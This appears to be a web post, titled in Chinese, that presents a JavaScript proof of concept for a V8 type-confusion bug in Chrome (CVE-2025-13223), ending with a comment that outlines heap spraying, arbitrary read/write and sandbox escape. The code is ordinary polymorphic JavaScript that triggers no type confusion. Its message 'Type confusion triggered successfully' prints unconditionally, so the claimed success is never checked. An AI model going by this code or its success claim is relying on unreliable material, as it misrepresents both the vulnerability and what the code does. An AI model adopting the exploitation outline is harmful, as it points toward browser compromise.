CVE-2025-13223 Google Chrome V8类型混淆漏洞导致堆损坏

// CVE-2025-13223 PoC - V8 Type Confusion in Google Chrome < 142.0.7444.175 // This PoC demonstrates the type confusion vulnerability pattern in V8 // Note: Actual exploit requires specific heap grooming techniques function triggerTypeConfusion() { // Pattern: Create objects with controlled type transitions // This triggers type confusion in V8's TurboFan optimizer class A { constructor() { this.field1 = 0x41414141; } getValue() { return this.field1; } } class B { constructor() { this.field1 = 0x42424242; this.field2 = 0x43434343; } getValue() { return this.field1 + this.field2; } } // Heat up TurboFan optimization let objA = new A(); for (let i = 0; i < 10000; i++) { objA.getValue(); } // Force deoptimization and type confusion // Attacker's goal: Make V8 assume objA has type A but receives type B function exploit(obj) { // V8 may assume obj is of type A and optimize based on that // If obj is actually of type B, this causes type confusion return obj.getValue(); } // Trigger polymorphic behavior to confuse type system let objB = new B(); for (let i = 0; i < 10000; i++) { exploit(objB); } // Final trigger with type confusion // In real exploit: Use WebAssembly or SharedArrayBuffer for heap spray return exploit(objA); } // Execute the PoC try { triggerTypeConfusion(); console.log('[+] Type confusion triggered successfully'); } catch (e) { console.log('[-] Error:', e.message); } /* * Real-world exploitation typically involves: * 1. Heap spraying to control memory layout * 2. Using SharedArrayBuffer to trigger Spectre-style attacks * 3. Corrupting V8 heap objects to achieve arbitrary read/write * 4. Escaping sandbox to execute native code */